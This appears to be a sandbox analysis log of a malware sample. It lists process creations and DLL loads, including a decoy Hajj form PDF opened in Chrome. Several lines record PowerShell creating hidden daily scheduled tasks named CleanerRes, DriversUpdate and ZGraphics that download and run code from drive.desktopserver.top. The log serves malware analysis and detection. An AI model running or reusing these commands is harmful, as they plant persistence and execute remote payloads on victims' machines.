Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2056,i,4768736094800516795,6522799854547835148,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: websocket.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
